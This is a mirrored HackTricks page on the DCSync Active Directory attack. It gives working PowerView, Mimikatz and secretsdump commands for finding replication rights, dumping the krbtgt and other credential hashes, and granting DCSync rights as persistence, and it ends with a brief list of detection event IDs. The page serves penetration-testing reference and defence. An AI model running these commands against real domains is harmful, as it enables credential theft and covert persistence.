hacktricks/windows/active-directory-methodology/dcsync.md at c2c270feefa9542bc6e6dfc7a03da494d2d8fc78

mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00

autoad c2c270feef Ad hacktricks sponsoring

2022-04-28 15:38:48 +00:00

4.8 KiB

Raw Blame History

Support HackTricks and get benefits!

Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](7af18b62b3/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

# DCSync

DCSync

The **DCSync **permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, **Replicating Directory Changes All **and Replicating Directory Changes In Filtered Set.

Important Notes about DCSync:

The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information **using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

Enumeration

Check who has these permissions using powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}

Exploit Locally

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Exploit Remotely

secretsdump.py -just-dc <user>:<password>@<ipaddress>

Persistence

If you are a domain admin, you can grant this permissions to any user with the help of powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Then, you can** check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigation

Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner

More information about DCSync in ired.team. More information about DCSync